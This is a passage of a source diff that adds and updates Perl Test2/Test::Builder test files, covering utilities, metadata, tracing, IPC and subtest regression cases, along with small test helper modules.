+$events = intercept {
+ test2_stack()->top->set_no_ending(0);
+ ok(1);
+ done_testing;
+};
+
+is(@$events, 2, "2 events");
+ok($events->[0]->isa('Test2::Event::Pass'), "got a pass");
+ok($events->[1]->isa('Test2::Event::Plan'), "finalize was called (only 1 plan)");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util.t
new file mode 100644
index 00000000000..88bfd0e41ca
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util.t
@@ -0,0 +1,88 @@
+use strict;
+use warnings;
+
+use Config qw/%Config/;
+
+use Test2::Tools::Tiny;
+use Test2::Util qw/
+ try
+
+ get_tid USE_THREADS
+
+ pkg_to_file
+
+ CAN_FORK
+ CAN_THREAD
+ CAN_REALLY_FORK
+
+ CAN_SIGSYS
+
+ IS_WIN32
+
+ clone_io
+/;
+
+BEGIN {
+ if ($] lt "5.008") {
+ require Test::Builder::IO::Scalar;
+ }
+}
+
+{
+ for my $try (\&try, Test2::Util->can('_manual_try'), Test2::Util->can('_local_try')) {
+ my ($ok, $err) = $try->(sub { die "xxx" });
+ ok(!$ok, "cought exception");
+ like($err, qr/xxx/, "expected exception");
+
+ ($ok, $err) = $try->(sub { 0 });
+ ok($ok, "Success");
+ ok(!$err, "no error");
+ }
+}
+
+is(pkg_to_file('A::Package::Name'), 'A/Package/Name.pm', "Converted package to file");
+
+# Make sure running them does not die
+# We cannot really do much to test these.
+CAN_THREAD();
+CAN_FORK();
+CAN_REALLY_FORK();
+IS_WIN32();
+
+is(IS_WIN32(), ($^O eq 'MSWin32') ? 1 : 0, "IS_WIN32 is correct ($^O)");
+
+my %sigs = map {$_ => 1} split /\s+/, $Config{sig_name};
+if ($sigs{SYS}) {
+ ok(CAN_SIGSYS, "System has SIGSYS");
+}
+else {
+ ok(!CAN_SIGSYS, "System lacks SIGSYS");
+}
+
+my $check_for_sig_sys = Test2::Util->can('_check_for_sig_sys');
+ok($check_for_sig_sys->("FOO SYS BAR"), "Found SIGSYS in the middle");
+ok($check_for_sig_sys->("SYS FOO BAR"), "Found SIGSYS at start");
+ok($check_for_sig_sys->("FOO BAR SYS"), "Found SIGSYS at end");
+ok(!$check_for_sig_sys->("FOO SYSX BAR"), "SYSX is not SYS");
+ok(!$check_for_sig_sys->("FOO XSYS BAR"), "XSYS is not SYS");
+
+my $io = clone_io(\*STDOUT);
+ok($io, "Cloned the filehandle");
+close($io);
+
+my $fh;
+my $out = '';
+if ($] ge "5.008") {
+ open($fh, '>', \$out) or die "Could not open filehandle";
+} else {
+ $fh = Test::Builder::IO::Scalar->new(\$out) or die "Could not open filehandle";
+}
+
+$io = clone_io($fh);
+is($io, $fh, "For a scalar handle we simply return the original handle, no other choice");
+print $io "Test\n";
+
+is($out, "Test\n", "wrote to the scalar handle");
+
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/ExternalMeta.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/ExternalMeta.t
new file mode 100644
index 00000000000..bd9812fc377
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/ExternalMeta.t
@@ -0,0 +1,70 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+{
+ package Foo::Bar;
+
+ use Test2::Util::ExternalMeta;
+ use Test2::Util::HashBase qw/foo bar/;
+}
+
+ok(Foo::Bar->can($_), "Imported '$_'") for qw/meta get_meta set_meta delete_meta/;
+
+my $one = Foo::Bar->new(foo => 1, bar => 2);
+ok($one->isa('Foo::Bar'), "Got instance");
+
+is_deeply($one, {foo => 1, bar => 2}, "nothing fishy.. yet");
+
+is($one->get_meta('foo'), undef, "no meta-data for foo");
+is($one->get_meta('bar'), undef, "no meta-data for bar");
+is($one->get_meta('baz'), undef, "no meta-data for baz");
+
+is($one->meta('foo'), undef, "no meta-data for foo");
+is($one->meta('bar'), undef, "no meta-data for bar");
+is($one->meta('baz'), undef, "no meta-data for baz");
+
+is_deeply($one, {foo => 1, bar => 2}, "Still have not modified instance");
+
+$one->set_meta('foo' => 123);
+is($one->foo, 1, "did not change attribute");
+is($one->meta('foo'), 123, "get meta-data for foo");
+is($one->get_meta('foo'), 123, "get meta-data for foo again");
+
+$one->meta('foo', 345);
+is($one->foo, 1, "did not change attribute");
+is($one->meta('foo', 678), 123, "did not alter already set meta-attribute");
+is($one->get_meta('foo'), 123, "still did not alter already set meta-attribute");
+
+is($one->meta('bar', 789), 789, "used default for bar");
+is($one->bar, 2, "did not change attribute");
+
+is_deeply(
+ $one,
+ {
+ foo => 1,
+ bar => 2,
+ Test2::Util::ExternalMeta::META_KEY() => {
+ foo => 123,
+ bar => 789,
+ },
+ },
+ "Stored meta-data"
+);
+
+is($one->delete_meta('foo'), 123, "got old value on delete");
+is($one->meta('foo'), undef, "no more value");
+
+is_deeply(
+ $one,
+ {
+ foo => 1,
+ bar => 2,
+ Test2::Util::ExternalMeta::META_KEY() => {
+ bar => 789,
+ },
+ },
+ "Deleted the meta key"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t
new file mode 100644
index 00000000000..98eaac60e29
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t
@@ -0,0 +1,144 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+use Test2::Util::Facets2Legacy ':ALL';
+
+my $CLASS;
+BEGIN {
+ $CLASS = 'Test2::Util::Facets2Legacy';
+
+ # This private function is not exported, but we want to test it anyway
+ *_get_facet_data = $CLASS->can('_get_facet_data');
+}
+
+tests _get_facet_data => sub {
+ my $pass = Test2::Event::Pass->new(name => 'xxx');
+ is_deeply(
+ _get_facet_data($pass),
+ {
+ about => {package => 'Test2::Event::Pass', details => 'pass'},
+ assert => {pass => 1, details => 'xxx'},
+ },
+ "Got facet data from event"
+ );
+
+ is_deeply(
+ _get_facet_data({assert => {pass => 1}}),
+ {assert => {pass => 1}},
+ "Facet data gets passed through"
+ );
+
+ my $file = __FILE__;
+ my $line;
+ like(
+ exception { $line = __LINE__; _get_facet_data([]) },
+ qr/'ARRAY\(.*\)' Does not appear to be either a Test::Event or an EventFacet hashref at \Q$file\E line $line/,
+ "Must provide sane input data"
+ );
+
+ {
+ package Fake::Event;
+ use base 'Test2::Event';
+ use Test2::Util::Facets2Legacy qw/causes_fail/;
+ }
+
+ my $e = Fake::Event->new();
+ like(
+ exception { $line = __LINE__; $e->causes_fail },
+ qr/Cycle between Facets2Legacy and Fake::Event=HASH\(.*\)->facet_data\(\) \(Did you forget to override the facet_data\(\) method\?\)/,
+ "Cannot depend on legacy facet_data and Facets2Legacy"
+ );
+};
+
+tests causes_fail => sub {
+ is(causes_fail({errors => [{fail => 1}]}), 1, "Fatal errors cause failure");
+
+ is(causes_fail({control => {terminate => 0}}), 0, "defined but 0 termination does not cause failure");
+ is(causes_fail({control => {terminate => 1}}), 1, "non-zero defined termination causes failure");
+ is(causes_fail({control => {halt => 1}}), 1, "A halt causes failure");
+ is(causes_fail({assert => {pass => 0}}), 1, "non-passign assert causes failure");
+
+ is(causes_fail({assert => {pass => 0}, amnesty => [{}]}), 0, "amnesty prevents assertion failure");
+
+ is(causes_fail({}), 0, "Default is no failure");
+};
+
+tests diagnostics => sub {
+ is(diagnostics({}), 0, "Default is no");
+
+ is(diagnostics({errors => [{}]}), 1, "Errors mean diagnostics");
+ is(diagnostics({info => [{}]}), 0, "Info alone does not make diagnostics");
+
+ is(diagnostics({info => [{debug => 1}]}), 1, "Debug flag makes info diagnostics");
+};
+
+tests global => sub {
+ is(global({}), 0, "not global by default");
+ is(global({control => {global => 0}}), 0, "global not set");
+ is(global({control => {global => 1}}), 1, "global is set");
+};
+
+tests increments_count => sub {
+ is(increments_count({}), 0, "No count bump without an assertion");
+ is(increments_count({assert => {}}), 1, "count bump with assertion");
+};
+
+tests no_display => sub {
+ is(no_display({}), 0, "default is no");
+ is(no_display({about => {no_display => 0}}), 0, "set to off");
+ is(no_display({about => {no_display => 1}}), 1, "set to on");
+};
+
+tests subtest_id => sub {
+ is(subtest_id({}), undef, "none by default");
+ is(subtest_id({parent => {hid => 123}}), 123, "use parent hid when present");
+};
+
+tests summary => sub {
+ is(summary({}), '', "no summary without about->details");
+ is(summary({about => {details => 'foo'}}), 'foo', "got about->details");
+};
+
+tests terminate => sub {
+ is(terminate({}), undef, "undef by default");
+ is(terminate({control => {terminate => undef}}), undef, "undef by choice");
+ is(terminate({control => {terminate => 100}}), 100, "got the terminate value");
+ is(terminate({control => {terminate => 0}}), 0, "0 is passed through");
+};
+
+tests sets_plan => sub {
+ is_deeply( [sets_plan({})], [], "No plan by default");
+
+ is_deeply(
+ [sets_plan({plan => {}})],
+ [0],
+ "Empty plan means count of 0, nothing extra"
+ );
+
+ is_deeply(
+ [sets_plan({plan => {count => 100}})],
+ [100],
+ "Got simple count"
+ );
+
+ is_deeply(
+ [sets_plan({plan => {count => 0, none => 1}})],
+ [0, 'NO PLAN'],
+ "No Plan"
+ );
+
+ is_deeply(
+ [sets_plan({plan => {count => 0, skip => 1}})],
+ [0, 'SKIP'],
+ "Skip"
+ );
+
+ is_deeply(
+ [sets_plan({plan => {count => 0, skip => 1, details => 'foo bar'}})],
+ [0, 'SKIP', 'foo bar'],
+ "Skip with reason"
+ );
+};
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/Trace.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/Trace.t
new file mode 100644
index 00000000000..35b4859bc95
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/Trace.t
@@ -0,0 +1,41 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+use Test2::EventFacet::Trace;
+
+like(
+ exception { 'Test2::EventFacet::Trace'->new() },
+ qr/The 'frame' attribute is required/,
+ "got error"
+);
+
+my $one = 'Test2::EventFacet::Trace'->new(frame => ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo']);
+is_deeply($one->frame, ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got frame");
+is_deeply([$one->call], ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got call");
+is($one->package, 'Foo::Bar', "Got package");
+is($one->file, 'foo.t', "Got file");
+is($one->line, 5, "Got line");
+is($one->subname, 'Foo::Bar::foo', "got subname");
+
+is($one->debug, "at foo.t line 5", "got trace");
+$one->set_detail("yo momma");
+is($one->debug, "yo momma", "got detail for trace");
+$one->set_detail(undef);
+
+is(
+ exception { $one->throw('I died') },
+ "I died at foo.t line 5.\n",
+ "got exception"
+);
+
+is_deeply(
+ warnings { $one->alert('I cried') },
+ [ "I cried at foo.t line 5.\n" ],
+ "alter() warns"
+);
+
+my $snap = $one->snapshot;
+is_deeply($snap, $one, "identical");
+ok($snap != $one, "Not the same instance");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/693_ipc_ordering.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/693_ipc_ordering.t
new file mode 100644
index 00000000000..55116da6ec3
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/693_ipc_ordering.t
@@ -0,0 +1,30 @@
+use Test2::Tools::Tiny;
+use strict;
+use warnings;
+
+skip_all("Test cannot run on perls below 5.8.8") unless "$]" > 5.008007;
+
+use Test2::Util qw/CAN_THREAD/;
+use Test2::IPC;
+use Test2::API qw/context intercept/;
+
+skip_all('System does not have threads') unless CAN_THREAD();
+
+require threads;
+threads->import;
+
+my $events = intercept {
+ threads->create(
+ sub {
+ ok 1, "something $_ nonlocal" for (1 .. 15);
+ }
+ )->join;
+};
+
+is_deeply(
+ [map { $_->{name} } @$events],
+ [map "something $_ nonlocal", 1 .. 15],
+ "Culled sub-thread events in correct order"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t
new file mode 100644
index 00000000000..b87247d757d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t
@@ -0,0 +1,37 @@
+use strict;
+use warnings;
+use Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::API qw/context intercept test2_stack/;
+use Test2::Util qw/CAN_FORK/;
+
+BEGIN {
+ skip_all "System cannot fork" unless CAN_FORK;
+}
+
+my $events = intercept {
+ Test2::API::run_subtest("this subtest forks" => sub {
+ if (fork) {
+ wait;
+ isnt($?, 0, "subprocess died");
+ } else {
+ # Prevent the exception from being rendered to STDERR, people have
+ # complained about STDERR noise in tests before.
+ close STDERR;
+ die "# Expected warning from subtest";
+ };
+ }, {no_fork => 1});
+};
+
+my @subtests = grep {; $_->isa('Test2::Event::Subtest') } @$events;
+
+if (is(@subtests, 1, "only one subtest run, effectively")) {
+ my @subokay = grep {; $_->facets->{assert} }
+ @{ $subtests[0]->subevents };
+ is(@subokay, 1, "we got one test result inside the subtest");
+ ok(! $subokay[0]->causes_fail, "...and it passed");
+} else {
+ # give up, we're already clearly broken
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/gh_16.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/gh_16.t
new file mode 100644
index 00000000000..85e42c623aa
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/gh_16.t
@@ -0,0 +1,35 @@
+use strict;
+use warnings;
+
+# This test checks for a pretty rare condition, one that was mainly a problem
+# on 5.20+ (though a 5.8 also had the problem). I am not too worried about this
+# breaking again. That said I still want it run on newer perls (where it is
+# less likely to fail for an unrelated reason) and when I have AUTHOR_TESTING
+# set.
+BEGIN {
+ unless($ENV{AUTHOR_TESTING} || eval "no warnings 'portable'; require 5.20; 1") {
+ print "1..0 # Skip Crazy test, only run on 5.20+, or when AUTHOR_TESTING is set\n";
+ exit 0;
+ }
+}
+
+# This test is for gh #16
+# Also see https://rt.perl.org/Public/Bug/Display.html?id=127774
+
+# Ceate this END before anything else so that $? gets set to 0
+END { $? = 0 }
+
+BEGIN {
+ print "\n1..1\n";
+ close(STDERR);
+ open(STDERR, '>&STDOUT');
+}
+
+use Test2::API;
+
+eval(' sub { die "xxx" } ')->();
+END {
+ sub { my $ctx = Test2::API::context(); $ctx->release; }->();
+ print "ok 1 - Did not segv\n";
+ $? = 0;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t
new file mode 100644
index 00000000000..b425443e00d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t
@@ -0,0 +1,67 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+use Test2::Util qw/CAN_FORK/;
+
+BEGIN {
+ skip_all "Set AUTHOR_TESTING to run this test" unless $ENV{AUTHOR_TESTING};
+ skip_all "System cannot fork" unless CAN_FORK;
+ skip_all "known to fail on $]" if $] le "5.006002";
+}
+
+use IPC::Open3 qw/open3/;
+use File::Temp qw/tempdir/;
+
+my $tempdir = tempdir(CLEANUP => 1);
+
+open(my $stdout, '>', "$tempdir/stdout") or die "Could not open: $!";
+open(my $stderr, '>', "$tempdir/stderr") or die "Could not open: $!";
+
+my $pid = open3(undef, ">&" . fileno($stdout), ">&" . fileno($stderr), $^X, '-Ilib', '-e', <<'EOT');
+use Test2::IPC::Driver::Files;
+use Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::API qw/test2_ipc/;
+plan 1;
+ok(1);
+
+my $tmpdir = test2_ipc()->tempdir;
+open(my $fh, '>', "$tmpdir/leftover") or die "Could not open file: $!";
+print $fh "XXX\n";
+close($fh) or die "Could not clone file";
+
+print "TEMPDIR: $tmpdir\n";
+
+exit 100;
+
+EOT
+
+waitpid($pid, 0);
+my $exit = $?;
+
+open($stdout, '<', "$tempdir/stdout") or die "Could not open: $!";
+open($stderr, '<', "$tempdir/stderr") or die "Could not open: $!";
+
+$stdout = join "" => <$stdout>;
+$stderr = join "" => <$stderr>;
+
+is(($exit >> 8), 255, "exited 255");
+like($stderr, qr{^IPC Fatal Error: Leftover files in the directory \(.*/leftover\)!$}m, "Got expected error");
+like($stdout, qr{^Bail out! IPC Fatal Error: Leftover files in the directory \(.*leftover\)!$}m, "Got a bail printed");
+
+if(ok($stdout =~ m/^TEMPDIR: (.*)$/m, "Found temp dir")) {
+ chomp(my $tmpdir = $1);
+ if (-d $tmpdir) {
+ note "Cleaning up temp dir\n";
+
+ opendir(my $dh, $tmpdir) or diag "Could not open temp dir: $!";
+ for my $file (readdir($dh)) {
+ next if $file =~ m/^\./;
+ unlink("$tmpdir/$file") or diag "Could not remove $tmpdir/$file: $!";
+ }
+ closedir($dh);
+ rmdir($tmpdir) or diag "Could not remove temp dir: $!";
+ }
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/MyTest.pm b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/MyTest.pm
new file mode 100644
index 00000000000..e8ad8a3e531
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/MyTest.pm
@@ -0,0 +1,15 @@
+use strict;
+use warnings;
+
+package MyTest;
+
+use Test::Builder;
+
+my $Test = Test::Builder->new;
+
+sub ok
+{
+ $Test->ok(@_);
+}
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/SkipAll.pm b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/SkipAll.pm
new file mode 100644
index 00000000000..4c9e5116d23
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/SkipAll.pm
@@ -0,0 +1,7 @@
+package SkipAll;
+use strict;
+use warnings;
+
+main::skip_all("foo");
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/SmallTest.pm b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/SmallTest.pm
new file mode 100644
index 00000000000..c2a875855e2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/SmallTest.pm
@@ -0,0 +1,35 @@
+use strict;
+use warnings;
+
+package SmallTest;
+
+require Exporter;
+
+use vars qw( @ISA @EXPORT );
+@ISA = qw( Exporter );
+@EXPORT = qw( ok is_eq is_num );
+
+use Test::Builder;
+
+my $Test = Test::Builder->new;
+
+sub ok
+{
+ $Test->ok(@_);
+}
+
+sub is_eq
+{
+ $Test->is_eq(@_);
+}
+
+sub is_num
+{
+ $Test->is_num(@_);
+}
+
+sub getTest
+{
+ return $Test;
+}
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm
index bbdf73268fb..62c97ecb0f3 100644
--- a/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm
@@ -53,6 +53,9 @@ sub create {
my $class = shift;
my $self = $class->SUPER::create(@_);
+ require Test::Builder::Formatter;
+ $self->{Stack}->top->format(Test::Builder::Formatter->new);
+
my %outputs = (
all => '',
out => '',
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm
index 9a2efb192d6..2a6548fa344 100644
--- a/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm
@@ -10,7 +10,9 @@ my $out = tie *$out_fh, 'TieOut';
my $err = tie *$err_fh, 'TieOut';
use Test::Builder;
+require Test::Builder::Formatter;
my $t = Test::Builder->new;
+$t->{Stack}->top->format(Test::Builder::Formatter->new);
$t->output($out_fh);
$t->failure_output($err_fh);
$t->todo_output($err_fh);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/642_persistent_end.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/642_persistent_end.t
new file mode 100644
index 00000000000..b1282638480
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/642_persistent_end.t
@@ -0,0 +1,25 @@
+use Test::More;
+use strict;
+use warnings;
+
+use Test2::API qw{
+ test2_set_is_end
+ test2_get_is_end
+ intercept
+};
+
+my %res;
+intercept {
+ my $tb = Test::Builder->new;
+ $res{before} = test2_get_is_end();
+ test2_set_is_end();
+ $res{isset} = test2_get_is_end();
+ $tb->reset;
+ $res{reset} = test2_get_is_end();
+};
+
+ok(!$res{before}, "Not the end");
+ok($res{isset}, "the end");
+ok(!$res{reset}, "Not the end");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/662-tbt-no-plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/662-tbt-no-plan.t
new file mode 100644
index 00000000000..acc9c9fc1bd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/662-tbt-no-plan.t
@@ -0,0 +1,25 @@
+use Test::Builder::Tester;
+use Test::More tests => 1;
+use strict;
+use warnings;
+
+BEGIN {
+ package Example::Tester;
+
+ use base 'Test::Builder::Module';
+ $INC{'Example/Tester.pm'} = 1;
+
+ sub import {
+ my $package = shift;
+ my %args = @_;
+ my $callerpack = caller;
+ my $tb = __PACKAGE__->builder;
+ $tb->exported_to($callerpack);
+ local $SIG{__WARN__} = sub { };
+ $tb->no_plan;
+ }
+}
+
+test_out('ok 1 - use Example::Tester;');
+use_ok('Example::Tester');
+test_test("use Example::Tester;");
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/684-nested_todo_diag.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/684-nested_todo_diag.t
new file mode 100644
index 00000000000..cccd27e8792
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/684-nested_todo_diag.t
@@ -0,0 +1,23 @@
+use Test::More;
+use strict;
+use warnings;
+
+use Test2::API qw/intercept/;
+my @events;
+
+intercept {
+ local $TODO = "broken";
+
+ Test2::API::test2_stack->top->listen(sub { push @events => $_[1] }, inherit => 1);
+
+ subtest foo => sub {
+ subtest bar => sub {
+ ok(0, 'oops');
+ };
+ };
+};
+
+my ($event) = grep { $_->trace->line == 16 && ref($_) eq 'Test::Builder::TodoDiag'} @events;
+ok($event, "nested todo diag on line 16 was changed to TodoDiag (STDOUT instead of STDERR)");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/694_note_diag_return_values.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/694_note_diag_return_values.t
new file mode 100644
index 00000000000..0c72a6f4449
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/694_note_diag_return_values.t
@@ -0,0 +1,20 @@
+use Test::More;
+use strict;
+use warnings;
+
+use Test2::API qw/intercept/;
+
+my @returns;
+intercept {
+ push @returns => diag('foo');
+ push @returns => note('foo');
+
+ my $tb = Test::Builder->new;
+ push @returns => $tb->diag('foo');
+ push @returns => $tb->note('foo');
+};
+
+is(@returns, 4, "4 return values");
+is_deeply(\@returns, [0, 0, 0, 0], "All note/diag returns are 0");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/696-intercept_skip_all.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/696-intercept_skip_all.t
new file mode 100644
index 00000000000..faa84a206dd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/696-intercept_skip_all.t
@@ -0,0 +1,41 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/intercept/;
+
+tests in_eval => sub {
+ my $events = intercept {
+ eval { skip_all "foo" };
+ die "Should not see this: $@";
+ };
+
+ is(@$events, 1, "got 1 event");
+ ok($events->[0]->isa('Test2::Event::Plan'), "Plan is only event");
+ is($events->[0]->directive, 'SKIP', "Plan is to skip");
+};
+
+tests no_eval => sub {
+ my $events = intercept {
+ skip_all "foo";
+ die "Should not see this: $@";
+ };
+
+ is(@$events, 1, "got 1 event");
+ ok($events->[0]->isa('Test2::Event::Plan'), "Plan is only event");
+ is($events->[0]->directive, 'SKIP', "Plan is to skip");
+};
+
+tests in_require => sub {
+ my $events = intercept {
+ require './t/lib/SkipAll.pm';
+ die "Should not see this: $@";
+ };
+
+ is(@$events, 1, "got 1 event");
+ ok($events->[0]->isa('Test2::Event::Plan'), "Plan is only event");
+ is($events->[0]->directive, 'SKIP', "Plan is to skip");
+};
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t
new file mode 100644
index 00000000000..a8a82870596
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t
@@ -0,0 +1,99 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+# This module's exports interfere with the ones in t/tools.pl
+use Test::More ();
+use Test::Builder::Formatter();
+use Test2::API qw/run_subtest test2_stack/;
+
+{
+ test2_stack->top;
+ my $temp_hub = test2_stack->new_hub();
+ $temp_hub->format(Test::Builder::Formatter->new());
+
+ my $output = capture {
+ run_subtest(
+ 'parent',
+ sub {
+ run_subtest(
+ 'buffered',
+ sub {
+ ok(1, 'b1');
+ ok(1, 'b2');
+ },
+ {buffered => 1},
+ );
+ run_subtest(
+ 'streamed',
+ sub {
+ ok(1, 's1');
+ ok(1, 's2');
+ },
+ {buffered => 0},
+ );
+ },
+ {buffered => 1},
+ );
+ };
+
+ test2_stack->pop($temp_hub);
+
+ Test::More::subtest(
+ 'Test2::API::run_subtest',
+ sub {
+ is($output->{STDERR}, q{}, 'no output on stderr');
+ like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest');
+ like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest');
+ like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest');
+ like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest');
+ }
+ );
+}
+
+{
+ test2_stack->top;
+ my $temp_hub = test2_stack->new_hub();
+ $temp_hub->format(Test::Builder::Formatter->new());
+
+ my $output = capture {
+ run_subtest(
+ 'parent',
+ sub {
+ run_subtest(
+ 'buffered',
+ sub {
+ ok(1, 'b1');
+ ok(1, 'b2');
+ },
+ {buffered => 1},
+ );
+ Test::More::subtest(
+ 'streamed',
+ sub {
+ ok(1, 's1');
+ ok(1, 's2');
+ },
+ {buffered => 0},
+ );
+ },
+ {buffered => 1},
+ );
+ };
+
+ test2_stack->pop($temp_hub);
+
+ Test::More::subtest(
+ 'Test::More::subtest and Test2::API::run_subtest',
+ sub {
+ is($output->{STDERR}, q{}, 'no output on stderr');
+ like($output->{STDOUT}, qr/ +ok 1 - b1/, 'got ok output for tests in buffered subtest');
+ like($output->{STDOUT}, qr/ +ok 2 - b2/, 'got ok output for tests in buffered subtest');
+ like($output->{STDOUT}, qr/ +ok 1 - s1/, 'got ok output for tests in streamed subtest');
+ like($output->{STDOUT}, qr/ +ok 2 - s2/, 'got ok output for tests in streamed subtest');
+ }
+ );
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/757-reset_in_subtest.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/757-reset_in_subtest.t
new file mode 100644
index 00000000000..846a34d835c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/757-reset_in_subtest.t
@@ -0,0 +1,20 @@
+use strict;
+use warnings;
+
+use Test::More;
+
+subtest 'subtest' => sub {
+ Test::Builder->new->reset;
+ ok 1;
+};
+
+subtest 'subtest' => sub {
+ Test::Builder->new->reset;
+ subtest 'subtest' => sub {
+ Test::Builder->new->reset;
+ ok 1;
+ };
+ ok 1;
+};
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t
new file mode 100644
index 00000000000..e46697a23ce
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t
@@ -0,0 +1,39 @@
+use Test2::Tools::Tiny;
+use strict;
+use warnings;
+
+use Test2::API qw/intercept test2_stack/;
+use Data::Dumper;
+
+sub hide_buffered { 0 }
+
+sub write {
+ my $self = shift;
+ my ($e) = @_;
+
+ push @{$self->{events}} => $e;
+}
+
+sub finalize { }
+
+my $events;
+intercept {
+ my $hub = test2_stack()->top;
+ my $formatter = bless({}, __PACKAGE__);
+ $hub->format($formatter);
+ tests xxx => sub {
+ ok(1, "pass");
+ };
+
+ $events = $formatter->{events};
